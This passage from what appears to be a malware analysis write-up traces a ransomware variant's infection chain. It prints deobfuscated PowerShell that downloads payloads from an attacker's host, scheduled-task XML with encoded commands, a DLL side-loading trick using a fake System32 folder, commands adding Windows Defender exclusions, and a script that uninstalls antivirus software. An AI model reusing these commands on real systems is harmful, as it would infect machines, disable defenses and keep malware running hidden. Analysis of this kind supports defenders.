<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmd /C powershell -exec bypass -c cd $env:appdata; cd $env:appdata; invoke-webrequest -uri 'http://hostdone.ddns.net/x1.xml' -outfile 'x.xml'; invoke-webrequest -uri 'http://hostdone.ddns.net/task.xml' -outfile 'task.xml'; invoke-webrequest -uri 'http://hostdone.ddns.net/t.pd' -outfile 'iotlog.pdf'; schtasks.exe /Create /XML 'task.xml' /tn 'taskname'; start-process 'iotlog.pdf'; schtasks /run /tn 'taskname';
</code></pre></div></div>

<p>The deobfuscated PowerShell script will download 3 files and save them in the <code class="language-plaintext highlighter-rouge">AppData</code> folder, it than will execute two of the downloaded files, one by simply starting a process with it (<strong>iotlog.pdf</strong>) which is a junk file with no actual purpose.<br /> (<code class="language-plaintext highlighter-rouge">start-process 'iotlog.pdf'</code>)
The second execution will be by creating a schedule task using one of the downloaded xml files (<strong>task.xml</strong>, <code class="language-plaintext highlighter-rouge">schtasks.exe /Create /XML 'task.xml' /tn 'taskname'</code>) and then it will execute the task. (<code class="language-plaintext highlighter-rouge">schtasks /run /tn 'taskname'</code>)</p>
<h1 id="tasks-madness">Tasks Madness</h1>
<h2 id="taskxml">task.xml</h2>
<p>Let’s start with the first scheduled task:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-16"?&gt;</span>
<span class="nt">&lt;Task</span> <span class="na">version=</span><span class="s">"1.3"</span> <span class="na">xmlns=</span><span class="s">"http://schemas.microsoft.com/windows/2004/02/mit/task"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;RegistrationInfo&gt;</span>
    <span class="nt">&lt;Date&gt;</span>2023-04-03T00:54:30<span class="nt">&lt;/Date&gt;</span>
    <span class="nt">&lt;Author&gt;</span>\pc<span class="nt">&lt;/Author&gt;</span>
    <span class="nt">&lt;Description&gt;</span>rufus.com<span class="nt">&lt;/Description&gt;</span>
    <span class="nt">&lt;URI&gt;</span>\task<span class="nt">&lt;/URI&gt;</span>
  <span class="nt">&lt;/RegistrationInfo&gt;</span>
  <span class="nt">&lt;Triggers&gt;</span>
    <span class="nt">&lt;TimeTrigger&gt;</span>
      <span class="nt">&lt;StartBoundary&gt;</span>1910-01-01T00:00:00<span class="nt">&lt;/StartBoundary&gt;</span>
      <span class="nt">&lt;Enabled&gt;</span>true<span class="nt">&lt;/Enabled&gt;</span>
    <span class="nt">&lt;/TimeTrigger&gt;</span>
  <span class="nt">&lt;/Triggers&gt;</span>
  <span class="nt">&lt;Principals&gt;</span>
    <span class="nt">&lt;Principal</span> <span class="na">id=</span><span class="s">"Author"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;LogonType&gt;</span>InteractiveToken<span class="nt">&lt;/LogonType&gt;</span>
      <span class="nt">&lt;RunLevel&gt;</span>LeastPrivilege<span class="nt">&lt;/RunLevel&gt;</span>
    <span class="nt">&lt;/Principal&gt;</span>
  <span class="nt">&lt;/Principals&gt;</span>
  <span class="nt">&lt;Settings&gt;</span>
    <span class="nt">&lt;MultipleInstancesPolicy&gt;</span>IgnoreNew<span class="nt">&lt;/MultipleInstancesPolicy&gt;</span>
    <span class="nt">&lt;DisallowStartIfOnBatteries&gt;</span>true<span class="nt">&lt;/DisallowStartIfOnBatteries&gt;</span>
    <span class="nt">&lt;StopIfGoingOnBatteries&gt;</span>true<span class="nt">&lt;/StopIfGoingOnBatteries&gt;</span>
    <span class="nt">&lt;AllowHardTerminate&gt;</span>true<span class="nt">&lt;/AllowHardTerminate&gt;</span>
    <span class="nt">&lt;StartWhenAvailable&gt;</span>false<span class="nt">&lt;/StartWhenAvailable&gt;</span>
    <span class="nt">&lt;RunOnlyIfNetworkAvailable&gt;</span>false<span class="nt">&lt;/RunOnlyIfNetworkAvailable&gt;</span>
    <span class="nt">&lt;IdleSettings&gt;</span>
      <span class="nt">&lt;StopOnIdleEnd&gt;</span>true<span class="nt">&lt;/StopOnIdleEnd&gt;</span>
      <span class="nt">&lt;RestartOnIdle&gt;</span>false<span class="nt">&lt;/RestartOnIdle&gt;</span>
    <span class="nt">&lt;/IdleSettings&gt;</span>
    <span class="nt">&lt;AllowStartOnDemand&gt;</span>true<span class="nt">&lt;/AllowStartOnDemand&gt;</span>
    <span class="nt">&lt;Enabled&gt;</span>true<span class="nt">&lt;/Enabled&gt;</span>
    <span class="nt">&lt;Hidden&gt;</span>true<span class="nt">&lt;/Hidden&gt;</span>
    <span class="nt">&lt;RunOnlyIfIdle&gt;</span>false<span class="nt">&lt;/RunOnlyIfIdle&gt;</span>
    <span class="nt">&lt;DisallowStartOnRemoteAppSession&gt;</span>false<span class="nt">&lt;/DisallowStartOnRemoteAppSession&gt;</span>
    <span class="nt">&lt;UseUnifiedSchedulingEngine&gt;</span>true<span class="nt">&lt;/UseUnifiedSchedulingEngine&gt;</span>
    <span class="nt">&lt;WakeToRun&gt;</span>false<span class="nt">&lt;/WakeToRun&gt;</span>
    <span class="nt">&lt;ExecutionTimeLimit&gt;</span>PT72H<span class="nt">&lt;/ExecutionTimeLimit&gt;</span>
    <span class="nt">&lt;Priority&gt;</span>7<span class="nt">&lt;/Priority&gt;</span>
  <span class="nt">&lt;/Settings&gt;</span>
  <span class="nt">&lt;Actions</span> <span class="na">Context=</span><span class="s">"Author"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Exec&gt;</span>
      <span class="nt">&lt;Command&gt;</span>cmd<span class="nt">&lt;/Command&gt;</span>
      <span class="nt">&lt;Arguments&gt;</span>/c start /min powershell -w hidden -exec bypass -enc TgBlAHcALQBJAHQAZQBtACAAJwBcAFwAPwBcAEMAOgBcAFcAaQBuAGQAbwB3AHMAIABcAFMAeQBzAHQAZQBtADMAMgAnACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQANAAoAUwBlAHQALQBMAG8AYwBhAHQAaQBvAG4AIAAtAFAAYQB0AGgAIAAnAFwAXAA/AFwAQwA6AFwAVwBpAG4AZABvAHcAcwAgAFwAUwB5AHMAdABlAG0AMwAyACcADQAKAGMAbwBwAHkAIABDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAdABhAHMAawBtAGcAcgAuAGUAeABlACAAIgBDADoAXAB3AGkAbgBkAG8AdwBzACAAXABTAHkAcwB0AGUAbQAzADIAXAB0AGEAcwBrAG0AZwByAC4AZQB4AGUAIgANAAoAUwBlAHQALQBMAG8AYwBhAHQAaQBvAG4AIAAtAFAAYQB0AGgAIAAnAFwAXAA/AFwAQwA6AFwAVwBpAG4AZABvAHcAcwAgAFwAUwB5AHMAdABlAG0AMwAyACcADQAKAGkAbgB2AG8AawBlAC0AdwBlAGIAcgBlAHEAdQBlAHMAdAAgAC0AdQByAGkAIAAnAGgAdAB0AHAAOgAvAC8AaABvAHMAdABkAG8AbgBlAC4AZABkAG4AcwAuAG4AZQB0AC8AdQAuAGQAbAAnACAALQBvAHUAdABmAGkAbABlACAAJwB1AHgAdABoAGUAbQBlAC4AZABsAGwAJwANAAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBwAGEAdABoACAAJwBDADoAXAB3AGkAbgBkAG8AdwBzACAAXABTAHkAcwB0AGUAbQAzADIAXAB0AGEAcwBrAG0AZwByAC4AZQB4AGUAJwA=<span class="nt">&lt;/Arguments&gt;</span>
    <span class="nt">&lt;/Exec&gt;</span>
  <span class="nt">&lt;/Actions&gt;</span>
<span class="nt">&lt;/Task&gt;</span>
</code></pre></div></div>

<p>Yet another embedded PowerShell script, let’s deobfuscate it and see what it lays beneath the obfuscation:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ENCODED_POWERSHELL2</span> <span class="o">=</span> <span class="s">'TgBlAHcALQBJAHQAZQBtACAAJwBcAFwAPwBcAEMAOgBcAFcAaQBuAGQAbwB3AHMAIABcAFMAeQBzAHQAZQBtADMAMgAnACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQANAAoAUwBlAHQALQBMAG8AYwBhAHQAaQBvAG4AIAAtAFAAYQB0AGgAIAAnAFwAXAA/AFwAQwA6AFwAVwBpAG4AZABvAHcAcwAgAFwAUwB5AHMAdABlAG0AMwAyACcADQAKAGMAbwBwAHkAIABDADoAXABXAGkAbgBkAG8AdwBzAFwAUwB5AHMAdABlAG0AMwAyAFwAdABhAHMAawBtAGcAcgAuAGUAeABlACAAIgBDADoAXAB3AGkAbgBkAG8AdwBzACAAXABTAHkAcwB0AGUAbQAzADIAXAB0AGEAcwBrAG0AZwByAC4AZQB4AGUAIgANAAoAUwBlAHQALQBMAG8AYwBhAHQAaQBvAG4AIAAtAFAAYQB0AGgAIAAnAFwAXAA/AFwAQwA6AFwAVwBpAG4AZABvAHcAcwAgAFwAUwB5AHMAdABlAG0AMwAyACcADQAKAGkAbgB2AG8AawBlAC0AdwBlAGIAcgBlAHEAdQBlAHMAdAAgAC0AdQByAGkAIAAnAGgAdAB0AHAAOgAvAC8AaABvAHMAdABkAG8AbgBlAC4AZABkAG4AcwAuAG4AZQB0AC8AdQAuAGQAbAAnACAALQBvAHUAdABmAGkAbABlACAAJwB1AHgAdABoAGUAbQBlAC4AZABsAGwAJwANAAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBwAGEAdABoACAAJwBDADoAXAB3AGkAbgBkAG8AdwBzACAAXABTAHkAcwB0AGUAbQAzADIAXAB0AGEAcwBrAG0AZwByAC4AZQB4AGUAJwA='</span>

<span class="k">print</span><span class="p">(</span><span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">ENCODED_POWERSHELL2</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">,</span><span class="sa">b</span><span class="s">''</span><span class="p">).</span><span class="n">decode</span><span class="p">())</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>New-Item '\\?\C:\Windows \System32' -ItemType Directory
Set-Location -Path '\\?\C:\Windows \System32'
copy C:\Windows\System32\taskmgr.exe "C:\windows \System32\taskmgr.exe"
Set-Location -Path '\\?\C:\Windows \System32'
invoke-webrequest -uri 'http://hostdone.ddns.net/u.dl' -outfile 'uxtheme.dll'
Start-Process -Filepath 'C:\windows \System32\taskmgr.exe'
</code></pre></div></div>

<p>The script will do 3 things:</p>
<ul>
  <li>It will Create a new System32 Folder, it will then copy taskmgr.exe from the original System32 folder to the freshly created System32 folder.<br />
what is special about this that it will duplicate the Windows folder of the user and create an empty System32 Folder, If we run the commands manually we can see that another Windows Folder is created with all the content of the original Windows folder but the System32 folder is empty.</li>
</ul>

<p><img src="/assets/images/PlutoCrypt-CryptoJoker-Varient/6.png" alt="image.png" /></p>

<p><img src="/assets/images/PlutoCrypt-CryptoJoker-Varient/7.png" alt="image.png" /></p>

<ul>
  <li>Another payload will be downloaded from the attacker server and will be saved on the impersonated System32 folder by the name <code class="language-plaintext highlighter-rouge">uxtheme.dll</code></li>
  <li>The script will execute <code class="language-plaintext highlighter-rouge">taskmgr.exe</code>
    <h3 id="dll-side-loading">DLL Side Loading</h3>
    <p>If we take a look at the imports of <code class="language-plaintext highlighter-rouge">taskmgr.exe</code> we can find that it loads <code class="language-plaintext highlighter-rouge">uxtheme.dll</code>:</p>
  </li>
</ul>

<p><img src="/assets/images/PlutoCrypt-CryptoJoker-Varient/8.png" alt="image.png" /></p>

<p>The TA leverages the <a href="https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order">DLL Search Order</a> in order to accomplish DLL Side Loading and load the retrieved payload.
I’ve opened the DLL in IDA and it’s pretty straight forward, all Exports will either lead to <code class="language-plaintext highlighter-rouge">SetWindowTheme</code> or <code class="language-plaintext highlighter-rouge">OpenThemeData</code> which both will have a similar command that will be executed using <code class="language-plaintext highlighter-rouge">WinExec</code>:<br /></p>

<p><img src="/assets/images/PlutoCrypt-CryptoJoker-Varient/9.png" alt="image.png" /></p>

<p><strong>The command:</strong></p>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cmd /c <span class="nb">cd</span> %appdata% &amp; SCHTASKS /Create /TN <span class="se">\"</span>onedrive<span class="se">\"</span> /XML <span class="se">\"</span>x.xml<span class="se">\"</span> &amp; SCHTASKS /RUN /TN <span class="se">\"</span>onedrive<span class="se">\"</span>
</code></pre></div></div>

<p>The command will create yet another task with the name of <strong>onedrive\</strong> with the content of <strong>x.xml</strong> which was fetched from the attacker server at alongside with <strong>task.xml</strong> and it will execute the task.</p>

<h2 id="xxml">x.xml</h2>
<p>Let’s observe the content of the xml file:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-16"?&gt;</span>
<span class="nt">&lt;Task</span> <span class="na">version=</span><span class="s">"1.2"</span> <span class="na">xmlns=</span><span class="s">"http://schemas.microsoft.com/windows/2004/02/mit/task"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;RegistrationInfo&gt;</span>
    <span class="nt">&lt;Date&gt;</span>2021-05-20T06:39:04<span class="nt">&lt;/Date&gt;</span>
    <span class="nt">&lt;Author&gt;&lt;/Author&gt;</span>
    <span class="nt">&lt;URI&gt;</span>\OneDrive Status Checker Start<span class="nt">&lt;/URI&gt;</span>
  <span class="nt">&lt;/RegistrationInfo&gt;</span>
  <span class="nt">&lt;Triggers&gt;</span>
    <span class="nt">&lt;LogonTrigger&gt;</span>
      <span class="nt">&lt;Enabled&gt;</span>true<span class="nt">&lt;/Enabled&gt;</span>
      <span class="nt">&lt;Delay&gt;</span>PT30S<span class="nt">&lt;/Delay&gt;</span>
    <span class="nt">&lt;/LogonTrigger&gt;</span>
  <span class="nt">&lt;/Triggers&gt;</span>
  <span class="nt">&lt;Principals&gt;</span>
    <span class="nt">&lt;Principal</span> <span class="na">id=</span><span class="s">"Author"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;LogonType&gt;</span>S4U<span class="nt">&lt;/LogonType&gt;</span>
      <span class="nt">&lt;RunLevel&gt;</span>HighestAvailable<span class="nt">&lt;/RunLevel&gt;</span>
    <span class="nt">&lt;/Principal&gt;</span>
  <span class="nt">&lt;/Principals&gt;</span>
  <span class="nt">&lt;Settings&gt;</span>
    <span class="nt">&lt;MultipleInstancesPolicy&gt;</span>IgnoreNew<span class="nt">&lt;/MultipleInstancesPolicy&gt;</span>
    <span class="nt">&lt;DisallowStartIfOnBatteries&gt;</span>false<span class="nt">&lt;/DisallowStartIfOnBatteries&gt;</span>
    <span class="nt">&lt;StopIfGoingOnBatteries&gt;</span>true<span class="nt">&lt;/StopIfGoingOnBatteries&gt;</span>
    <span class="nt">&lt;AllowHardTerminate&gt;</span>true<span class="nt">&lt;/AllowHardTerminate&gt;</span>
    <span class="nt">&lt;StartWhenAvailable&gt;</span>false<span class="nt">&lt;/StartWhenAvailable&gt;</span>
    <span class="nt">&lt;RunOnlyIfNetworkAvailable&gt;</span>false<span class="nt">&lt;/RunOnlyIfNetworkAvailable&gt;</span>
    <span class="nt">&lt;IdleSettings&gt;</span>
      <span class="nt">&lt;StopOnIdleEnd&gt;</span>true<span class="nt">&lt;/StopOnIdleEnd&gt;</span>
      <span class="nt">&lt;RestartOnIdle&gt;</span>false<span class="nt">&lt;/RestartOnIdle&gt;</span>
    <span class="nt">&lt;/IdleSettings&gt;</span>
    <span class="nt">&lt;AllowStartOnDemand&gt;</span>true<span class="nt">&lt;/AllowStartOnDemand&gt;</span>
    <span class="nt">&lt;Enabled&gt;</span>true<span class="nt">&lt;/Enabled&gt;</span>
    <span class="nt">&lt;Hidden&gt;</span>false<span class="nt">&lt;/Hidden&gt;</span>
    <span class="nt">&lt;RunOnlyIfIdle&gt;</span>false<span class="nt">&lt;/RunOnlyIfIdle&gt;</span>
    <span class="nt">&lt;WakeToRun&gt;</span>false<span class="nt">&lt;/WakeToRun&gt;</span>
    <span class="nt">&lt;ExecutionTimeLimit&gt;</span>PT72H<span class="nt">&lt;/ExecutionTimeLimit&gt;</span>
    <span class="nt">&lt;Priority&gt;</span>7<span class="nt">&lt;/Priority&gt;</span>
  <span class="nt">&lt;/Settings&gt;</span>
  <span class="nt">&lt;Actions</span> <span class="na">Context=</span><span class="s">"Author"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;Exec&gt;</span>
      <span class="nt">&lt;Command&gt;</span>cmd.exe<span class="nt">&lt;/Command&gt;</span>
      <span class="nt">&lt;Arguments&gt;</span>/C "PowerShell -Nologo -NoProfile -ExecutionPolicy Bypass -E "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQARQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABBAHAAcABEAGEAdABhAAoAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQARQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgA=" <span class="ni">&amp;amp;</span> PowerShell -Nologo -NoProfile -ExecutionPolicy Bypass -E "YwBkACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEADQAKAGMAbQBkACAALwBjACAAdwBtAGkAYwAgAC8AbwB1AHQAcAB1AHQAOgAlAGEAcABwAGQAYQB0AGEAJQBcAGwAaQBzAHQAcAByAC4AdAB4AHQAIABwAHIAbwBkAHUAYwB0ACAAZwBlAHQAIABuAGEAbQBlAA0ACgBjAG0AZAAgAC8AYwAgAHQAeQBwAGUAIABsAGkAcwB0AHAAcgAuAHQAeAB0ACAAfAAgAGYAaQBuAGQAcwB0AHIAIAAvAEkAIAAiAG4AYQBtAGUAIABhAHYAYQBzAHQAIABlAHMAZQB0ACAAbgBvAHIAdABvAG4AIABhAG4AdABpAHYAaQByAHUAcwAgAGEAdgBpAHIAYQAgAGsAYQBzAHAAZQByAHMAawB5ACAAbQBjAGEAZgBlAGUAIABwAGEAbgBkAGEAIABtAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAgAGYALQBTAGUAYwB1AHIAZQAgAHMAeQBtAGEAbgB0AGUAYwAgACIAIAA+ACAAYQBhAHAAcgAuAHQAeAB0AA0ACgAoAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAGEAYQBwAHIALgB0AHgAdAApAC4AVAByAGkAbQAoACkAIAAtAG4AZQAgACcAJwAgAHwAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIABsAGkAcwB0AGQALgB0AHgAdAANAAoAJAB4AGEAIAA9ACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIABsAGkAcwB0AGQALgB0AHgAdAApAFsAMQBdAA0ACgAkAHgAYgAgAD0AIAAoAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAGwAaQBzAHQAZAAuAHQAeAB0ACkAWwAyAF0ADQAKACQAeABjACAAPQAgACgARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAbABpAHMAdABkAC4AdAB4AHQAKQBbADMAXQANAAoAJAB4AGQAIAA9ACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIABsAGkAcwB0AGQALgB0AHgAdAApAFsANABdAA0ACgAkAGEAcABwAGwAYQAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBkAHUAYwB0ACAALQBGAGkAbAB0AGUAcgAgACIATgBhAG0AZQAgAD0AIAAnACQAeABhACcAIgANAAoAJABhAHAAcABsAGEALgBVAG4AaQBuAHMAdABhAGwAbAAoACkADQAKACQAYQBwAHAAbABiACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAFAAcgBvAGQAdQBjAHQAIAAtAEYAaQBsAHQAZQByACAAIgBOAGEAbQBlACAAPQAgACcAJAB4AGIAJwAiAA0ACgAkAGEAcABwAGwAYgAuAFUAbgBpAG4AcwB0AGEAbABsACgAKQANAAoAJABhAHAAcABsAGMAIAA9ACAARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0AQwBsAGEAcwBzACAAVwBpAG4AMwAyAF8AUAByAG8AZAB1AGMAdAAgAC0ARgBpAGwAdABlAHIAIAAiAE4AYQBtAGUAIAA9ACAAJwAkAHgAYwAnACIADQAKACQAYQBwAHAAbABjAC4AVQBuAGkAbgBzAHQAYQBsAGwAKAApAA0ACgAkAGEAcABwAGwAZAAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBkAHUAYwB0ACAALQBGAGkAbAB0AGUAcgAgACIATgBhAG0AZQAgAD0AIAAnACQAeABkACcAIgANAAoAJABhAHAAcABsAGQALgBVAG4AaQBuAHMAdABhAGwAbAAoACkA" <span class="ni">&amp;amp;</span> PowerShell -Nologo -NoProfile -ExecutionPolicy Bypass -E YwBkACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEACgBTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQAvAGgAbwBsAG8ALgB0AHgAdAAgACcAYgBlAG4AaQAgAGIAdQByAGEAZABhACAAYgAxAXIAYQBrACcACgBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJwBoAHQAdABwADoALwAvAGgAbwBzAHQAZABvAG4AZQAuAGQAZABuAHMALgBuAGUAdAAvAHAAbAAuAGUAeABlACcAIAAtAE8AdQB0AEYAaQBsAGUAIABwAGwALgBlAHgAZQAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAnAGgAdAB0AHAAOgAvAC8AaABvAHMAdABkAG8AbgBlAC4AZABkAG4AcwAuAG4AZQB0AC8AZQAnACAALQBPAHUAdABGAGkAbABlACAAZQBuAGMALgB4AG0AbAAKAGMAZAAgACQAZQBuAHYAOgBhAHAAcABkAGEAdABhAAoAUwBDAEgAVABBAFMASwBTACAALwBDAHIAZQBhAHQAZQAgAC8AVABOACAAIgBlAG4AYwAiACAALwBYAE0ATAAgACIAZQBuAGMALgB4AG0AbAAiAAoAYwBtAGQAIAAvAGMAIABzAGMAaAB0AGEAcwBrAHMAIAAgAC8AUgBVAE4AIAAvAFQATgAgACIAZQBuAGMAIgA= <span class="ni">&amp;amp;</span> exit"<span class="nt">&lt;/Arguments&gt;</span>
    <span class="nt">&lt;/Exec&gt;</span>
  <span class="nt">&lt;/Actions&gt;</span>
<span class="nt">&lt;/Task&gt;</span>
</code></pre></div></div>

<p>As we can see this task contains 3 different PowerShell scripts that will be executed. Let’s break them one by one:</p>
<h3 id="antivirusedr-evasion">AntiVirus/EDR Evasion</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ENCODED_POWERSHELL3</span> <span class="o">=</span> <span class="s">'QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQARQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUAXABBAHAAcABEAGEAdABhAAoAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQARQBuAHYAOgBVAFMARQBSAFAAUgBPAEYASQBMAEUACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgA='</span>

<span class="k">print</span><span class="p">(</span><span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">ENCODED_POWERSHELL3</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">,</span><span class="sa">b</span><span class="s">''</span><span class="p">).</span><span class="n">decode</span><span class="p">())</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Add-MpPreference -ExclusionPath $Env:USERPROFILE\AppData
Add-MpPreference -ExclusionPath $Env:USERPROFILE
Add-MpPreference -ExclusionProcess "powershell.exe"
</code></pre></div></div>

<p>The first script will exclude the User path, the AppData folder and anything that is being run under the process: <code class="language-plaintext highlighter-rouge">powershell.exe</code> from Windows Defender. <br />
Moving on to the second script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ENCODED_POWERSHELL4</span> <span class="o">=</span> <span class="s">'YwBkACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEADQAKAGMAbQBkACAALwBjACAAdwBtAGkAYwAgAC8AbwB1AHQAcAB1AHQAOgAlAGEAcABwAGQAYQB0AGEAJQBcAGwAaQBzAHQAcAByAC4AdAB4AHQAIABwAHIAbwBkAHUAYwB0ACAAZwBlAHQAIABuAGEAbQBlAA0ACgBjAG0AZAAgAC8AYwAgAHQAeQBwAGUAIABsAGkAcwB0AHAAcgAuAHQAeAB0ACAAfAAgAGYAaQBuAGQAcwB0AHIAIAAvAEkAIAAiAG4AYQBtAGUAIABhAHYAYQBzAHQAIABlAHMAZQB0ACAAbgBvAHIAdABvAG4AIABhAG4AdABpAHYAaQByAHUAcwAgAGEAdgBpAHIAYQAgAGsAYQBzAHAAZQByAHMAawB5ACAAbQBjAGEAZgBlAGUAIABwAGEAbgBkAGEAIABtAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAgAGYALQBTAGUAYwB1AHIAZQAgAHMAeQBtAGEAbgB0AGUAYwAgACIAIAA+ACAAYQBhAHAAcgAuAHQAeAB0AA0ACgAoAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAGEAYQBwAHIALgB0AHgAdAApAC4AVAByAGkAbQAoACkAIAAtAG4AZQAgACcAJwAgAHwAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIABsAGkAcwB0AGQALgB0AHgAdAANAAoAJAB4AGEAIAA9ACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIABsAGkAcwB0AGQALgB0AHgAdAApAFsAMQBdAA0ACgAkAHgAYgAgAD0AIAAoAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAGwAaQBzAHQAZAAuAHQAeAB0ACkAWwAyAF0ADQAKACQAeABjACAAPQAgACgARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAAbABpAHMAdABkAC4AdAB4AHQAKQBbADMAXQANAAoAJAB4AGQAIAA9ACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIABsAGkAcwB0AGQALgB0AHgAdAApAFsANABdAA0ACgAkAGEAcABwAGwAYQAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBkAHUAYwB0ACAALQBGAGkAbAB0AGUAcgAgACIATgBhAG0AZQAgAD0AIAAnACQAeABhACcAIgANAAoAJABhAHAAcABsAGEALgBVAG4AaQBuAHMAdABhAGwAbAAoACkADQAKACQAYQBwAHAAbABiACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAFAAcgBvAGQAdQBjAHQAIAAtAEYAaQBsAHQAZQByACAAIgBOAGEAbQBlACAAPQAgACcAJAB4AGIAJwAiAA0ACgAkAGEAcABwAGwAYgAuAFUAbgBpAG4AcwB0AGEAbABsACgAKQANAAoAJABhAHAAcABsAGMAIAA9ACAARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0AQwBsAGEAcwBzACAAVwBpAG4AMwAyAF8AUAByAG8AZAB1AGMAdAAgAC0ARgBpAGwAdABlAHIAIAAiAE4AYQBtAGUAIAA9ACAAJwAkAHgAYwAnACIADQAKACQAYQBwAHAAbABjAC4AVQBuAGkAbgBzAHQAYQBsAGwAKAApAA0ACgAkAGEAcABwAGwAZAAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBkAHUAYwB0ACAALQBGAGkAbAB0AGUAcgAgACIATgBhAG0AZQAgAD0AIAAnACQAeABkACcAIgANAAoAJABhAHAAcABsAGQALgBVAG4AaQBuAHMAdABhAGwAbAAoACkA'</span>

<span class="k">print</span><span class="p">(</span><span class="n">base64</span><span class="p">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">ENCODED_POWERSHELL4</span><span class="p">).</span><span class="n">replace</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">,</span><span class="sa">b</span><span class="s">''</span><span class="p">).</span><span class="n">decode</span><span class="p">())</span>
